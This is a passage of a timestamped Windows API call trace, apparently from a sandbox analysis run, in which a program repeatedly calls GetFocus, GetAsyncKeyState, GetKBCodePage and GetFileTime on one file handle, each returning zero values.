lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.500] GetFocus () returned 0x0 [0258.500] GetAsyncKeyState (vKey=58) returned 0 [0258.500] GetKBCodePage () returned 0x1b5 [0258.500] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.500] GetFocus () returned 0x0 [0258.500] GetAsyncKeyState (vKey=58) returned 0 [0258.500] GetKBCodePage () returned 0x1b5 [0258.500] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.500] GetFocus () returned 0x0 [0258.500] GetAsyncKeyState (vKey=58) returned 0 [0258.500] GetKBCodePage () returned 0x1b5 [0258.500] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.500] GetFocus () returned 0x0 [0258.500] GetAsyncKeyState (vKey=58) returned 0 [0258.500] GetKBCodePage () returned 0x1b5 [0258.500] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.500] GetFocus () returned 0x0 [0258.500] GetAsyncKeyState (vKey=58) returned 0 [0258.500] GetKBCodePage () returned 0x1b5 [0258.500] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.500] GetFocus () returned 0x0 [0258.500] GetAsyncKeyState (vKey=58) returned 0 [0258.500] GetKBCodePage () returned 0x1b5 [0258.500] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.500] GetFocus () returned 0x0 [0258.500] GetAsyncKeyState (vKey=58) returned 0 [0258.500] GetKBCodePage () returned 0x1b5 [0258.501] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.501] GetFocus () returned 0x0 [0258.501] GetAsyncKeyState (vKey=58) returned 0 [0258.501] GetKBCodePage () returned 0x1b5 [0258.501] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.501] GetFocus () returned 0x0 [0258.501] GetAsyncKeyState (vKey=58) returned 0 [0258.501] GetKBCodePage () returned 0x1b5 [0258.501] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.501] GetFocus () returned 0x0 [0258.501] GetAsyncKeyState (vKey=58) returned 0 [0258.501] GetKBCodePage () returned 0x1b5 [0258.501] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.501] GetFocus () returned 0x0 [0258.501] GetAsyncKeyState (vKey=58) returned 0 [0258.501] GetKBCodePage () returned 0x1b5 [0258.501] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.501] GetFocus () returned 0x0 [0258.501] GetAsyncKeyState (vKey=58) returned 0 [0258.501] GetKBCodePage () returned 0x1b5 [0258.501] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.501] GetFocus () returned 0x0 [0258.501] GetAsyncKeyState (vKey=58) returned 0 [0258.501] GetKBCodePage () returned 0x1b5 [0258.501] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.501] GetFocus () returned 0x0 [0258.501] GetAsyncKeyState (vKey=58) returned 0 [0258.501] GetKBCodePage () returned 0x1b5 [0258.501] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.501] GetFocus () returned 0x0 [0258.501] GetAsyncKeyState (vKey=58) returned 0 [0258.501] GetKBCodePage () returned 0x1b5 [0258.501] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.501] GetFocus () returned 0x0 [0258.501] GetAsyncKeyState (vKey=58) returned 0 [0258.501] GetKBCodePage () returned 0x1b5 [0258.502] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.502] GetFocus () returned 0x0 [0258.502] GetAsyncKeyState (vKey=58) returned 0 [0258.502] GetKBCodePage () returned 0x1b5 [0258.502] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.502] GetFocus () returned 0x0 [0258.502] GetAsyncKeyState (vKey=58) returned 0 [0258.502] GetKBCodePage () returned 0x1b5 [0258.502] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.502] GetFocus () returned 0x0 [0258.502] GetAsyncKeyState (vKey=58) returned 0 [0258.502] GetKBCodePage () returned 0x1b5 [0258.502] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.502] GetFocus () returned 0x0 [0258.502] GetAsyncKeyState (vKey=58) returned 0 [0258.502] GetKBCodePage () returned 0x1b5 [0258.502] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.502] GetFocus () returned 0x0 [0258.502] GetAsyncKeyState (vKey=58) returned 0 [0258.502] GetKBCodePage () returned 0x1b5 [0258.502] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.502] GetFocus () returned 0x0 [0258.502] GetAsyncKeyState (vKey=58) returned 0 [0258.502] GetKBCodePage () returned 0x1b5 [0258.502] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.502] GetFocus () returned 0x0 [0258.502] GetAsyncKeyState (vKey=58) returned 0 [0258.502] GetKBCodePage () returned 0x1b5 [0258.502] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.502] GetFocus () returned 0x0 [0258.502] GetAsyncKeyState (vKey=58) returned 0 [0258.502] GetKBCodePage () returned 0x1b5 [0258.502] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.502] GetFocus () returned 0x0 [0258.502] GetAsyncKeyState (vKey=58) returned 0 [0258.502] GetKBCodePage () returned 0x1b5 [0258.502] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.503] GetFocus () returned 0x0 [0258.503] GetAsyncKeyState (vKey=58) returned 0 [0258.503] GetKBCodePage () returned 0x1b5 [0258.503] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.503] GetFocus () returned 0x0 [0258.503] GetAsyncKeyState (vKey=58) returned 0 [0258.503] GetKBCodePage () returned 0x1b5 [0258.503] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.503] GetFocus () returned 0x0 [0258.503] GetAsyncKeyState (vKey=58) returned 0 [0258.503] GetKBCodePage () returned 0x1b5 [0258.503] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.503] GetFocus () returned 0x0 [0258.503] GetAsyncKeyState (vKey=58) returned 0 [0258.503] GetKBCodePage () returned 0x1b5 [0258.503] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.503] GetFocus () returned 0x0 [0258.503] GetAsyncKeyState (vKey=58) returned 0 [0258.503] GetKBCodePage () returned 0x1b5 [0258.503] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.503] GetFocus () returned 0x0 [0258.503] GetAsyncKeyState (vKey=58) returned 0 [0258.503] GetKBCodePage () returned 0x1b5 [0258.503] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.503] GetFocus () returned 0x0 [0258.503] GetAsyncKeyState (vKey=58) returned 0 [0258.503] GetKBCodePage () returned 0x1b5 [0258.503] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.503] GetFocus () returned 0x0 [0258.503] GetAsyncKeyState (vKey=58) returned 0 [0258.503] GetKBCodePage () returned 0x1b5 [0258.503] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.503] GetFocus () returned 0x0 [0258.503] GetAsyncKeyState (vKey=58) returned 0 [0258.503] GetKBCodePage () returned 0x1b5 [0258.503] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.504] GetFocus () returned 0x0 [0258.504] GetAsyncKeyState (vKey=58) returned 0 [0258.504] GetKBCodePage () returned 0x1b5 [0258.504] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.504] GetFocus () returned 0x0 [0258.504] GetAsyncKeyState (vKey=58) returned 0 [0258.504] GetKBCodePage () returned 0x1b5 [0258.504] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.504] GetFocus () returned 0x0 [0258.504] GetAsyncKeyState (vKey=58) returned 0 [0258.504] GetKBCodePage () returned 0x1b5 [0258.504] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.504] GetFocus () returned 0x0 [0258.504] GetAsyncKeyState (vKey=58) returned 0 [0258.504] GetKBCodePage () returned 0x1b5 [0258.504] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.504] GetFocus () returned 0x0 [0258.504] GetAsyncKeyState (vKey=58) returned 0 [0258.504] GetKBCodePage () returned 0x1b5 [0258.504] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.504] GetFocus () returned 0x0 [0258.504] GetAsyncKeyState (vKey=58) returned 0 [0258.504] GetKBCodePage () returned 0x1b5 [0258.504] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.510] GetFocus () returned 0x0 [0258.510] GetAsyncKeyState (vKey=58) returned 0 [0258.510] GetKBCodePage () returned 0x1b5 [0258.510] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.511] GetFocus () returned 0x0 [0258.511] GetAsyncKeyState (vKey=58) returned 0 [0258.511] GetKBCodePage () returned 0x1b5 [0258.511] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.511] GetFocus () returned 0x0 [0258.511] GetAsyncKeyState (vKey=58) returned 0 [0258.511] GetKBCodePage () returned 0x1b5 [0258.511] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.511] GetFocus () returned 0x0 [0258.511] GetAsyncKeyState (vKey=58) returned 0 [0258.511] GetKBCodePage () returned 0x1b5 [0258.511] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.511] GetFocus () returned 0x0 [0258.511] GetAsyncKeyState (vKey=58) returned 0 [0258.511] GetKBCodePage () returned 0x1b5 [0258.511] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.511] GetFocus () returned 0x0 [0258.511] GetAsyncKeyState (vKey=58) returned 0 [0258.511] GetKBCodePage () returned 0x1b5 [0258.511] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.511] GetFocus () returned 0x0 [0258.511] GetAsyncKeyState (vKey=58) returned 0 [0258.511] GetKBCodePage () returned 0x1b5 [0258.511] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.511] GetFocus () returned 0x0 [0258.511] GetAsyncKeyState (vKey=58) returned 0 [0258.511] GetKBCodePage () returned 0x1b5 [0258.511] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.511] GetFocus () returned 0x0 [0258.511] GetAsyncKeyState (vKey=58) returned 0 [0258.511] GetKBCodePage () returned 0x1b5 [0258.511] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.511] GetFocus () returned 0x0 [0258.511] GetAsyncKeyState (vKey=58) returned 0 [0258.511] GetKBCodePage () returned 0x1b5 [0258.511] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.512] GetFocus () returned 0x0 [0258.512] GetAsyncKeyState (vKey=58) returned 0 [0258.512] GetKBCodePage () returned 0x1b5 [0258.512] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.512] GetFocus () returned 0x0 [0258.512] GetAsyncKeyState (vKey=58) returned 0 [0258.512] GetKBCodePage () returned 0x1b5 [0258.512] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.512] GetFocus () returned 0x0 [0258.512] GetAsyncKeyState (vKey=58) returned 0 [0258.512] GetKBCodePage () returned 0x1b5 [0258.512] 